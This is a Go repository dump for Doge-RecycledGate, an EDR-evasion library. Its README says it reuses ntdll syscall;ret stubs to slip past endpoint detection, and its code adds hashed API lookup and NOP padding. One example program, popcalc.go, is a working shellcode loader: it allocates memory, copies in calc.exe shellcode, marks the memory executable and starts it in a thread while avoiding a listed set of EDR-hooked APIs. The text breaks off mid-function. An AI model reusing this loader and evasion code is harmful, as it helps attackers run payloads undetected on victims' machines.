├── README.md ├── example ├── popcalc │ └── popcalc.go └── sleep │ └── sleep.go ├── go.mod ├── go.sum └── pkg └── recycled ├── asm_x64.s ├── config.go └── recycled.go /README.md: -------------------------------------------------------------------------------- 1 | # Doge-RecycledGate 2 | https://github.com/thefLink/RecycledGate 3 | 4 | Golang implementation of Hellsgate + Halosgate/Tartarosgate. Ensures that all systemcalls go through ntdll.dll; 5 | 6 | 这只是 Hellsgate + Halosgate/Tartarusgate 的另一种实现。 7 | 8 | 但是,此实现确保所有系统调用仍通过 ntdll.dll来避免使用直接系统调用。 9 | 10 | 为此,我解析 ntdll 中未被挂钩的sysid 并重用现有syscall;ret指令——因此是该项目的名称。 11 | 12 | 这可能会绕过一些试图检测异常系统调用的 EDR。 13 | 14 | 示例程序可以在example文件夹中找到 15 | 16 | 17 | This is just another implementation of Hellsgate + Halosgate/Tartarusgate. 18 | 19 | However, this implementation makes sure that all system calls still go through ntdll.dll to avoid the usage of direct systemcalls. To do so, I parse the ntdll for nonhooked syscall-stubs and re-use existing syscall;ret instructions - thus the name of this project. 20 | 21 | This probably bypasses some EDR trying to detect abnormal systemcalls. 22 | 23 | The sample program can be found in the example folder 24 | 25 | ## Usage 26 | ``` 27 | //NtDelayExecution HellsGate 28 | sleep1, e := recycled.MemHgate("84804f99e2c7ab8aee611d256a085cf4879c4be8", str2sha1) 29 | if e != nil { 30 | panic(e) 31 | } 32 | 33 | //callAddr := recycled.GetCall("",nil,nil) 34 | //获取syscall;ret 地址 35 | callAddr := recycled.GetCall("NtDelayExecution",nil,nil) 36 | //callAddr := recycled.GetCall("",apiblacklist,str2sha1) 37 | 38 | r, e1 := recycled.HgSyscall(sleep1, callAddr, 0, uintptr(unsafe.Pointer(×))) 39 | if e1 != nil{ 40 | fmt.Println(r) 41 | fmt.Println(e1) 42 | } 43 | ``` 44 | 45 | ## 优化细节 46 | 相比原实现, 47 | 48 | - 加入了随机选取syscall;ret 49 | - 加入了自定义hash函数支持 50 | - 加入了blacklist排除选项 51 | - 加入了可选的指定syscall;ret api 52 | - 优化了更加友好的调用方式 53 | - 加入NOP混淆 54 | 55 | 56 | ## Reference 57 | https://github.com/thefLink/RecycledGate 58 | 59 | https://github.com/C-Sto/BananaPhone 60 | 61 | https://golang.org/src/runtime/sys_windows_amd64.s 62 | 63 | https://github.com/helpsystems/nanodump/blob/main/source/syscalls-asm.asm 64 | 65 | https://github.com/am0nsec/HellsGate/ 66 | 67 | 68 | -------------------------------------------------------------------------------- /example/popcalc/popcalc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha1" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | "fmt" 8 | "github.com/timwhitez/Doge-RecycledGate/pkg/recycled" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | 14 | var shellcode = []byte{ 15 | //calc.exe https://github.com/peterferrie/win-exec-calc-shellcode 16 | 0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63, 17 | 0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51, 18 | 0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b, 19 | 0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18, 20 | 0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29, 21 | 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 22 | 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 23 | 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 24 | 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 25 | 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 26 | 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 27 | 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 28 | 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 29 | 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 30 | 0xd7, 31 | } 32 | 33 | //from https://github.com/Mr-Un1k0d3r/EDRs 34 | var hookedapi =[]string{"NtAddBootEntry","NtAdjustPrivilegesToken","NtAlertResumeThread","NtAllocateVirtualMemory","NtAllocateVirtualMemoryEx","NtAlpcConnectPort","NtAreMappedFilesTheSame","NtClose","NtCreateFile","NtCreateKey","NtCreateMutant","NtCreateProcess","NtCreateProcessEx","NtCreateSection","NtCreateThread","NtCreateThreadEx","NtCreateUserProcess","NtDelayExecution","NtDeleteBootEntry","NtDeleteFile","NtDeleteKey","NtDeleteValueKey","NtDeviceIoControlFile","NtDuplicateObject","NtFreeVirtualMemory","NtGdiBitBlt","NtGetContextThread","NtLoadDriver","NtMapUserPhysicalPages","NtMapViewOfSection","NtMapViewOfSectionEx","NtModifyBootEntry","NtOpenCreateFile","NtOpenFile","NtOpenKey","NtOpenKeyEx","NtOpenProcess","NtOpenProcessToken","NtOpenProcessTokenEx","NtOpenThreadToken","NtOpenThreadTokenEx","NtProtectVirtualMemory","NtQueryAttributesFile","NtQueryFullAttributesFile","NtQueryInformationProcess","NtQueryInformationThread","NtQueryInformationTokenTokenUser","NtQuerySystemInformation","NtQuerySystemInformationEx","NtQueryVirtualMemory","NtQueueApcThread","NtQueueApcThreadEx","NtQueueApcThreadEx2","NtReadVirtualMemory","NtRenameKey","NtResumeThread","NtSetContextThread","NtSetInformationFile","NtSetInformationProcess","NtSetInformationProcessCriticalProcess","NtSetInformationThread","NtSetInformationThreadCriticalThread","NtSetInformationThreadHideFromDebugger","NtSetInformationThreadImpersonationToken","NtSetInformationThreadWow64Context","NtSetInformationVirtualMemory","NtSetValueKey","NtSuspendThread","NtSystemDebugControl","NtTerminateProcess","NtTerminateThread","NtUnmapViewOfSection","NtUnmapViewOfSectionEx","NtUserGetAsyncKeyState","NtUserGetClipboardData","NtUserSetWindowsHookEx","NtWriteFile","NtWriteVirtualMemory","ZwAlertResumeThread","ZwAllocateVirtualMemory","ZwAllocateVirtualMemoryEx","ZwAlpcConnectPort","ZwAreMappedFilesTheSame","ZwClose","ZwCreateFile","ZwCreateKey","ZwCreateProcess","ZwCreateProcessEx","ZwCreateSection","ZwCreateThread","ZwCreateThreadEx","ZwCreateUserProcess","ZwDeleteFile","ZwDeleteKey","ZwDeleteValueKey","ZwDeviceIoControlFile","ZwDuplicateObject","ZwFreeVirtualMemory","ZwGetContextThread","ZwLoadDriver","ZwMapUserPhysicalPages","ZwMapViewOfSection","ZwMapViewOfSectionEx","ZwOpenFile","ZwOpenKey","ZwOpenKeyEx","ZwOpenProcess","ZwProtectVirtualMemory","ZwQueryAttributesFile","ZwQueryFullAttributesFile","ZwQueryInformationProcess","ZwQueryInformationThread","ZwQuerySystemInformation","ZwQuerySystemInformationEx","ZwQueryVirtualMemory","ZwQueueApcThread","ZwQueueApcThreadEx","ZwReadVirtualMemory","ZwRenameKey","ZwResumeThread","ZwSetContextThread","ZwSetInformationFile","ZwSetInformationProcess","ZwSetInformationThread","ZwSetValueKey","ZwSuspendThread","ZwTerminateProcess","ZwTerminateThread","ZwUnmapViewOfSection","ZwUnmapViewOfSectionEx","ZwWriteFile","ZwWriteVirtualMemory"} 35 | 36 | var hashhooked []string 37 | 38 | func main() { 39 | for _,v := range hookedapi{ 40 | hashhooked = append(hashhooked,str2sha1(v)) 41 | //it also support lower case 42 | //hashhooked = append(hashhooked,str2sha1(strings.ToLower(v))) 43 | } 44 | 45 | var thisThread = uintptr(0xffffffffffffffff) 46 | alloc, e := recycled.MemHgate(str2sha1("NtAllocateVirtualMemory"), str2sha1) 47 | if e != nil { 48 | panic(e) 49 | } 50 | protect, e := recycled.MemHgate(Sha256Hex("NtProtectVirtualMemory"), Sha256Hex) 51 | if e != nil { 52 | panic(e) 53 | } 54 | createthread, e := recycled.MemHgate(Sha256Hex("NtCreateThreadEx"), Sha256Hex) 55 | if e != nil { 56 | panic(e) 57 | } 58 | pWaitForSingleObject := syscall.NewLazyDLL("kernel32.dll").NewProc("WaitForSingleObject").Addr() 59 | 60 | createThread(shellcode, thisThread, alloc, protect, createthread, uint64(pWaitForSingleObject)) 61 | } 62 | 63 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16, pWaitForSingleObject uint64) { 64 | 65 | const ( 66 | memCommit = uintptr(0x00001000) 67 | memreserve = uintptr(0x00002000) 68 | ) 69 | 70 | var baseA uintptr 71 | regionsize := uintptr(len(shellcode)) 72 | 73 | //callAddr := recycled.GetCall("",nil,nil) 74 | //callAddr := recycled.GetCall(str2sha1("NtDelayExecution"),nil,str2sha1) 75 | callAddr := recycled.GetCall("",hashhooked,str2sha1) 76 | 77 | r1, r := recycled.HgSyscall( 78 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory 79 | callAddr, 80 | handle, 81 | uintptr(unsafe.Pointer(&baseA)), 82 | 0, 83 | uintptr(unsafe.Pointer(®ionsize)), 84 | uintptr(memCommit|memreserve), 85 | syscall.PAGE_READWRITE, 86 | ) 87 | if r != nil { 88 | fmt.Printf("1 %s %x\n", r, r1) 89 | return 90 | } 91 | 92 | //copy shellcode 93 | memcpy(baseA, shellcode) 94 | 95 | var oldprotect uintptr 96 | callAddr = recycled.GetCall("NtDelayExecution",nil,nil) 97 | 98 | r1, r = recycled.HgSyscall( 99 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory 100 | callAddr, 101 | handle, 102 | uintptr(unsafe.Pointer(&baseA)), 103 | uintptr(unsafe.Pointer(®ionsize)), 104 | syscall.PAGE_EXECUTE_READ, 105 | uintptr(unsafe.Pointer(&oldprotect)), 106 | ) 107 | if r != nil { 108 | fmt.Printf("1 %s %x\n", r, r1) 109 | return 110 | } 111 | 112 | var hhosthread uintptr 113 | callAddr = recycled.GetCall("",nil,nil) 114 | 115 | r1, r = recycled.HgSyscall( 116 | NtCreateThreadExSysid, //NtCreateThreadEx 117 | callAddr, 118 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 119 | 0x1FFFFF, //desiredaccess 120 | 0, //objattributes 121 | handle, //processhandle 122 | baseA, //lpstartaddress 123 | 0, //lpparam 124 | uintptr(0), //createsuspended 125 | 0, //zerobits 126 | 0, //sizeofstackcommit 127 | 0, //sizeofstackreserve 128 | 0, //lpbytesbuffer 129 | ) 130 | syscall.Syscall(uintptr(pWaitForSingleObject), 2, handle, 0xffffffff, 0) 131 | if r != nil { 132 | fmt.Printf("1 %s %x\n", r, r1) 133 | return 134 | } 135 | } 136 | 137 | func memcpy(base uintptr, buf []byte) { 138 | for i := 0; i < len(buf); i++ { 139 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] 140 | } 141 | } 142 | 143 | func str2sha1(s string) string { 144 | h := sha1.New() 145 | h.Write([]byte(s)) 146 | bs := h.Sum(nil) 147 | return fmt.Sprintf("%x", bs) 148 | } 149 | 150 | func Sha256Hex(s string) string { 151 | return hex.EncodeToString(Sha256([]byte(s))) 152 | } 153 | 154 | func Sha256(data []byte) []byte { 155 | digest := sha256.New() 156 | digest.Write(data) 157 | return digest.Sum(nil) 158 | } 159 | -------------------------------------------------------------------------------- /example/sleep/sleep.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha1" 5 | "fmt" 6 | "github.com/timwhitez/Doge-RecycledGate/pkg/recycled" 7 | "unsafe" 8 | ) 9 | 10 | 11 | 12 | func main() { 13 | 14 | //from https://github.com/Mr-Un1k0d3r/EDRs 15 | var hookedapi =[]string{"NtAddBootEntry","NtAdjustPrivilegesToken","NtAlertResumeThread","NtAllocateVirtualMemory","NtAllocateVirtualMemoryEx","NtAlpcConnectPort","NtAreMappedFilesTheSame","NtClose","NtCreateFile","NtCreateKey","NtCreateMutant","NtCreateProcess","NtCreateProcessEx","NtCreateSection","NtCreateThread","NtCreateThreadEx","NtCreateUserProcess","NtDelayExecution","NtDeleteBootEntry","NtDeleteFile","NtDeleteKey","NtDeleteValueKey","NtDeviceIoControlFile","NtDuplicateObject","NtFreeVirtualMemory","NtGdiBitBlt","NtGetContextThread","NtLoadDriver","NtMapUserPhysicalPages","NtMapViewOfSection","NtMapViewOfSectionEx","NtModifyBootEntry","NtOpenCreateFile","NtOpenFile","NtOpenKey","NtOpenKeyEx","NtOpenProcess","NtOpenProcessToken","NtOpenProcessTokenEx","NtOpenThreadToken","NtOpenThreadTokenEx","NtProtectVirtualMemory","NtQueryAttributesFile","NtQueryFullAttributesFile","NtQueryInformationProcess","NtQueryInformationThread","NtQueryInformationTokenTokenUser","NtQuerySystemInformation","NtQuerySystemInformationEx","NtQueryVirtualMemory","NtQueueApcThread","NtQueueApcThreadEx","NtQueueApcThreadEx2","NtReadVirtualMemory","NtRenameKey","NtResumeThread","NtSetContextThread","NtSetInformationFile","NtSetInformationProcess","NtSetInformationProcessCriticalProcess","NtSetInformationThread","NtSetInformationThreadCriticalThread","NtSetInformationThreadHideFromDebugger","NtSetInformationThreadImpersonationToken","NtSetInformationThreadWow64Context","NtSetInformationVirtualMemory","NtSetValueKey","NtSuspendThread","NtSystemDebugControl","NtTerminateProcess","NtTerminateThread","NtUnmapViewOfSection","NtUnmapViewOfSectionEx","NtUserGetAsyncKeyState","NtUserGetClipboardData","NtUserSetWindowsHookEx","NtWriteFile","NtWriteVirtualMemory","ZwAlertResumeThread","ZwAllocateVirtualMemory","ZwAllocateVirtualMemoryEx","ZwAlpcConnectPort","ZwAreMappedFilesTheSame","ZwClose","ZwCreateFile","ZwCreateKey","ZwCreateProcess","ZwCreateProcessEx","ZwCreateSection","ZwCreateThread","ZwCreateThreadEx","ZwCreateUserProcess","ZwDeleteFile","ZwDeleteKey","ZwDeleteValueKey","ZwDeviceIoControlFile","ZwDuplicateObject","ZwFreeVirtualMemory","ZwGetContextThread","ZwLoadDriver","ZwMapUserPhysicalPages","ZwMapViewOfSection","ZwMapViewOfSectionEx","ZwOpenFile","ZwOpenKey","ZwOpenKeyEx","ZwOpenProcess","ZwProtectVirtualMemory","ZwQueryAttributesFile","ZwQueryFullAttributesFile","ZwQueryInformationProcess","ZwQueryInformationThread","ZwQuerySystemInformation","ZwQuerySystemInformationEx","ZwQueryVirtualMemory","ZwQueueApcThread","ZwQueueApcThreadEx","ZwReadVirtualMemory","ZwRenameKey","ZwResumeThread","ZwSetContextThread","ZwSetInformationFile","ZwSetInformationProcess","ZwSetInformationThread","ZwSetValueKey","ZwSuspendThread","ZwTerminateProcess","ZwTerminateThread","ZwUnmapViewOfSection","ZwUnmapViewOfSectionEx","ZwWriteFile","ZwWriteVirtualMemory"} 16 | 17 | var hashhooked []string 18 | 19 | for _,v := range hookedapi{ 20 | hashhooked = append(hashhooked,str2sha1(v)) 21 | //it also support lower case 22 | //hashhooked = append(hashhooked,str2sha1(strings.ToLower(v))) 23 | } 24 | 25 | 26 | 27 | //NtDelayExecution HellsGate 28 | sleep1, e := recycled.MemHgate("84804f99e2c7ab8aee611d256a085cf4879c4be8", str2sha1) 29 | if e != nil { 30 | panic(e) 31 | } 32 | 33 | fmt.Printf("%s: %x\n", "NtDelayExecution Sysid", sleep1) 34 | times := -(5000 * 10000) 35 | 36 | //hellsgate syscall 37 | 38 | //fmt.Print("Press 'Enter' to continue...") 39 | //bufio.NewReader(os.Stdin).ReadBytes('\n') 40 | 41 | 42 | 43 | //hash("NtDelayExecution") 44 | //strings.ToLower(hash("NtDelayExecution")) 45 | //hash(strings.ToLower("NtDelayExecution")) 46 | //strings.ToLower(hash(strings.ToLower("NtDelayExecution"))) 47 | 48 | 49 | //callAddr := recycled.GetCall("",nil,nil) 50 | //callAddr := recycled.GetCall(str2sha1("NtDelayExecution"),nil,str2sha1) 51 | callAddr := recycled.GetCall("",hashhooked,str2sha1) 52 | 53 | r, e1 := recycled.HgSyscall(sleep1, callAddr, 0, uintptr(unsafe.Pointer(×))) 54 | if e1 != nil{ 55 | fmt.Println(r) 56 | fmt.Println(e1) 57 | } 58 | 59 | } 60 | 61 | 62 | func str2sha1(s string) string { 63 | h := sha1.New() 64 | h.Write([]byte(s)) 65 | bs := h.Sum(nil) 66 | return fmt.Sprintf("%x", bs) 67 | } 68 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/timwhitez/Doge-RecycledGate 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee 7 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 8 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= 2 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= 4 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= 5 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 h1:y/woIyUBFbpQGKS0u1aHF/40WUDnek3fPOyD08H5Vng= 6 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 7 | -------------------------------------------------------------------------------- /pkg/recycled/asm_x64.s: -------------------------------------------------------------------------------- 1 | //based on https://golang.org/src/runtime/sys_windows_amd64.s 2 | #define maxargs 18 3 | //func hgSyscall(callid uintptr,syscallA uintptr,argh ...uintptr) (uint32, error) 4 | TEXT ·hgSyscall(SB),$0-56 5 | PUSHQ CX 6 | BYTE $0x90 //NOP 7 | XORQ AX,AX 8 | BYTE $0x90 //NOP 9 | MOVW callid+0(FP), AX 10 | 11 | BYTE $0x90 //NOP 12 | 13 | XORQ R15,R15 14 | MOVQ syscallA+8(FP), R15 15 | 16 | BYTE $0x90 //NOP 17 | //put variadic size into CX 18 | MOVQ argh_len+24(FP),CX 19 | BYTE $0x90 //NOP 20 | //put variadic pointer into SI 21 | MOVQ argh_base+16(FP),SI 22 | BYTE $0x90 //NOP 23 | 24 | 25 | // SetLastError(0). 26 | MOVQ 0x30(GS), DI 27 | BYTE $0x90 //NOP 28 | MOVL $0, 0x68(DI) 29 | BYTE $0x90 //NOP 30 | 31 | 32 | SUBQ $(maxargs*8), SP // room for args 33 | BYTE $0x90 //NOP 34 | 35 | // Fast version, do not store args on the stack. 36 | CMPL CX, $4 37 | BYTE $0x90 //NOP 38 | JLE loadregs 39 | 40 | // Check we have enough room for args. 41 | CMPL CX, $maxargs 42 | BYTE $0x90 //NOP 43 | JLE 2(PC) 44 | INT $3 // not enough room -> crash 45 | BYTE $0x90 //NOP 46 | 47 | 48 | // Copy args to the stack. 49 | MOVQ SP, DI 50 | BYTE $0x90 //NOP 51 | CLD 52 | BYTE $0x90 //NOP 53 | REP; MOVSQ 54 | BYTE $0x90 //NOP 55 | MOVQ SP, SI 56 | BYTE $0x90 //NOP 57 | loadregs: 58 | //move the stack pointer????? why???? 59 | //SUBQ $8, SP 60 | 61 | // Load first 4 args into correspondent registers. 62 | MOVQ 0(SI), CX 63 | BYTE $0x90 //NOP 64 | MOVQ 8(SI), DX 65 | BYTE $0x90 //NOP 66 | MOVQ 16(SI), R8 67 | BYTE $0x90 //NOP 68 | MOVQ 24(SI), R9 69 | BYTE $0x90 //NOP 70 | // Floating point arguments are passed in the XMM 71 | // registers. Set them here in case any of the arguments 72 | // are floating point values. For details see 73 | // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx 74 | MOVQ CX, X0 75 | BYTE $0x90 //NOP 76 | MOVQ DX, X1 77 | BYTE $0x90 //NOP 78 | MOVQ R8, X2 79 | BYTE $0x90 //NOP 80 | MOVQ R9, X3 81 | BYTE $0x90 //NOP 82 | 83 | //mov r10, rax 84 | MOVQ CX, R10 85 | BYTE $0x90 //NOP 86 | 87 | //syscall;ret 88 | CALL R15 89 | 90 | BYTE $0x90 //NOP 91 | 92 | ADDQ $((maxargs)*8), SP 93 | 94 | // Return result. 95 | POPQ CX 96 | MOVL AX, errcode+40(FP) 97 | 98 | RET 99 | 100 | 101 | 102 | 103 | //func getModuleLoadedOrder(i int) (start uintptr, size uintptr) 104 | TEXT ·getMLO(SB), $0-32 105 | //All operations push values into AX 106 | //PEB 107 | MOVQ 0x60(GS), AX 108 | BYTE $0x90 //NOP 109 | //PEB->LDR 110 | MOVQ 0x18(AX),AX 111 | BYTE $0x90 //NOP 112 | 113 | //LDR->InMemoryOrderModuleList 114 | MOVQ 0x20(AX),AX 115 | BYTE $0x90 //NOP 116 | 117 | //loop things 118 | XORQ R10,R10 119 | startloop: 120 | CMPQ R10,i+0(FP) 121 | BYTE $0x90 //NOP 122 | JE endloop 123 | BYTE $0x90 //NOP 124 | //Flink (get next element) 125 | MOVQ (AX),AX 126 | BYTE $0x90 //NOP 127 | INCQ R10 128 | JMP startloop 129 | endloop: 130 | //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY 131 | //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30) 132 | 133 | MOVQ 0x30(AX),CX 134 | BYTE $0x90 //NOP 135 | MOVQ CX, size+16(FP) 136 | BYTE $0x90 //NOP 137 | 138 | 139 | MOVQ 0x20(AX),CX 140 | BYTE $0x90 //NOP 141 | MOVQ CX, start+8(FP) 142 | BYTE $0x90 //NOP 143 | 144 | 145 | MOVQ AX,CX 146 | BYTE $0x90 //NOP 147 | ADDQ $0x38,CX 148 | BYTE $0x90 //NOP 149 | MOVQ CX, modulepath+24(FP) 150 | //SYSCALL 151 | RET 152 | 153 | -------------------------------------------------------------------------------- /pkg/recycled/config.go: -------------------------------------------------------------------------------- 1 | package recycled 2 | 3 | type ( 4 | DWORD uint32 5 | ULONGLONG uint64 6 | WORD uint16 7 | BYTE uint8 8 | LONG uint32 9 | ) 10 | 11 | const ( 12 | MEM_COMMIT = 0x001000 13 | MEM_RESERVE = 0x002000 14 | IDX = 32 15 | ) 16 | 17 | type unNtd struct { 18 | pModule uintptr 19 | size uintptr 20 | } 21 | 22 | // Library - describes a loaded library 23 | type Library struct { 24 | Name string 25 | BaseAddress uintptr 26 | Exports map[string]uint64 27 | } 28 | 29 | const ( 30 | IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 31 | ) 32 | 33 | type _IMAGE_FILE_HEADER struct { 34 | Machine WORD 35 | NumberOfSections WORD 36 | TimeDateStamp DWORD 37 | PointerToSymbolTable DWORD 38 | NumberOfSymbols DWORD 39 | SizeOfOptionalHeader WORD 40 | Characteristics WORD 41 | } 42 | 43 | type IMAGE_FILE_HEADER _IMAGE_FILE_HEADER 44 | 45 | type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64 46 | type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64 47 | 48 | type _IMAGE_OPTIONAL_HEADER64 struct { 49 | Magic WORD 50 | MajorLinkerVersion BYTE 51 | MinorLinkerVersion BYTE 52 | SizeOfCode DWORD 53 | SizeOfInitializedData DWORD 54 | SizeOfUninitializedData DWORD 55 | AddressOfEntryPoint DWORD 56 | BaseOfCode DWORD 57 | ImageBase ULONGLONG 58 | SectionAlignment DWORD 59 | FileAlignment DWORD 60 | MajorOperatingSystemVersion WORD 61 | MinorOperatingSystemVersion WORD 62 | MajorImageVersion WORD 63 | MinorImageVersion WORD 64 | MajorSubsystemVersion WORD 65 | MinorSubsystemVersion WORD 66 | Win32VersionValue DWORD 67 | SizeOfImage DWORD 68 | SizeOfHeaders DWORD 69 | CheckSum DWORD 70 | Subsystem WORD 71 | DllCharacteristics WORD 72 | SizeOfStackReserve ULONGLONG 73 | SizeOfStackCommit ULONGLONG 74 | SizeOfHeapReserve ULONGLONG 75 | SizeOfHeapCommit ULONGLONG 76 | LoaderFlags DWORD 77 | NumberOfRvaAndSizes DWORD 78 | DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY 79 | } 80 | type _IMAGE_DATA_DIRECTORY struct { 81 | VirtualAddress DWORD 82 | Size DWORD 83 | } 84 | type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORY 85 | 86 | type _IMAGE_NT_HEADERS64 struct { 87 | Signature DWORD 88 | FileHeader IMAGE_FILE_HEADER 89 | OptionalHeader IMAGE_OPTIONAL_HEADER 90 | } 91 | type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64 92 | type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64 93 | type _IMAGE_DOS_HEADER struct { // DOS .EXE header 94 | E_magic WORD // Magic number 95 | E_cblp WORD // Bytes on last page of file 96 | E_cp WORD // Pages in file 97 | E_crlc WORD // Relocations 98 | E_cparhdr WORD // Size of header in paragraphs 99 | E_minalloc WORD // Minimum extra paragraphs needed 100 | E_maxalloc WORD // Maximum extra paragraphs needed 101 | E_ss WORD // Initial (relative) SS value 102 | E_sp WORD // Initial SP value 103 | E_csum WORD // Checksum 104 | E_ip WORD // Initial IP value 105 | E_cs WORD // Initial (relative) CS value 106 | E_lfarlc WORD // File address of relocation table 107 | E_ovno WORD // Overlay number 108 | E_res [4]WORD // Reserved words 109 | E_oemid WORD // OEM identifier (for E_oeminfo) 110 | E_oeminfo WORD // OEM information; E_oemid specific 111 | E_res2 [10]WORD // Reserved words 112 | E_lfanew LONG // File address of new exe header 113 | } 114 | 115 | type IMAGE_DOS_HEADER _IMAGE_DOS_HEADER 116 | 117 | -------------------------------------------------------------------------------- /pkg/recycled/recycled.go: -------------------------------------------------------------------------------- 1 | package recycled 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "fmt" 7 | "math/rand" 8 | "time" 9 | 10 | "strings" 11 | 12 | "unsafe" 13 | 14 | "github.com/Binject/debug/pe" 15 | "github.com/awgh/rawreader" 16 | "golang.org/x/sys/windows" 17 | ) 18 | 19 | func contains(slice []string, item string) bool { 20 | set := make(map[string]struct{}, len(slice)) 21 | for _, s := range slice { 22 | set[s] = struct{}{} 23 | } 24 | 25 | _, ok := set[item] 26 | return ok 27 | } 28 | 29 | 30 | func GetCall(tarApi string,blacklist []string,hash func(string) string) uintptr { 31 | //init hasher 32 | hasher := func(a string)string{ 33 | return a 34 | } 35 | if hash !=nil{ 36 | hasher = hash 37 | } 38 | 39 | //tolower 40 | if blacklist != nil && tarApi == ""{ 41 | for i,v := range blacklist{ 42 | blacklist[i] = strings.ToLower(v) 43 | } 44 | } 45 | 46 | 47 | Ntd, _, _ := gMLO(1) 48 | if Ntd == 0 { 49 | return 0 50 | } 51 | 52 | fmt.Printf("NtdllBaseAddr: 0x%x\n", Ntd) 53 | 54 | addrMod := Ntd 55 | 56 | ntHeader := ntH(addrMod) 57 | if ntHeader == nil { 58 | return 0 59 | } 60 | //windows.SleepEx(50, false) 61 | //get module size of ntdll 62 | modSize := ntHeader.OptionalHeader.SizeOfImage 63 | if modSize == 0 { 64 | return 0 65 | } 66 | 67 | rr := rawreader.New(addrMod, int(modSize)) 68 | p, e := pe.NewFileFromMemory(rr) 69 | if e != nil { 70 | return 0 71 | } 72 | ex, e := p.Exports() 73 | 74 | rand.Seed(time.Now().UnixNano()) 75 | for i := range ex { 76 | j := rand.Intn(i + 1) 77 | ex[i], ex[j] = ex[j], ex[i] 78 | } 79 | 80 | for i := 0; i < len(ex); i++ { 81 | exp := ex[i] 82 | if tarApi != ""{ 83 | if strings.ToLower(hasher(exp.Name)) == strings.ToLower(tarApi)||strings.ToLower(hasher(strings.ToLower(exp.Name))) == strings.ToLower(tarApi) { 84 | fmt.Println("Syscall API: " + exp.Name) 85 | offset := rvaToOffset(p, exp.VirtualAddress) 86 | b, e := p.Bytes() 87 | if e != nil { 88 | return 0 89 | } 90 | buff := b[offset : offset+32] 91 | if buff[18] == 0x0f && buff[19] == 0x05 && buff[20] == 0xc3 { 92 | fmt.Printf("Syscall;ret Address: 0x%x\n", Ntd+uintptr(exp.VirtualAddress)+uintptr(18)) 93 | return Ntd + uintptr(exp.VirtualAddress) + uintptr(18) 94 | } 95 | } 96 | }else { 97 | if strings.HasPrefix(exp.Name, "Nt") || strings.HasPrefix(exp.Name, "Zw"){ 98 | if !contains(blacklist, strings.ToLower(hasher(exp.Name))) && !contains(blacklist, strings.ToLower(hasher(strings.ToLower(exp.Name)))) { 99 | fmt.Println("Syscall API: " + exp.Name) 100 | offset := rvaToOffset(p, exp.VirtualAddress) 101 | b, e := p.Bytes() 102 | if e != nil { 103 | return 0 104 | } 105 | buff := b[offset : offset+32] 106 | if buff[18] == 0x0f && buff[19] == 0x05 && buff[20] == 0xc3 { 107 | fmt.Printf("Syscall;ret Address: 0x%x\n", Ntd+uintptr(exp.VirtualAddress)+uintptr(18)) 108 | return Ntd + uintptr(exp.VirtualAddress) + uintptr(18) 109 | } 110 | } 111 | } 112 | } 113 | } 114 | return 0 115 | } 116 | 117 | //GetModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. 118 | func gMLO(i int) (start uintptr, size 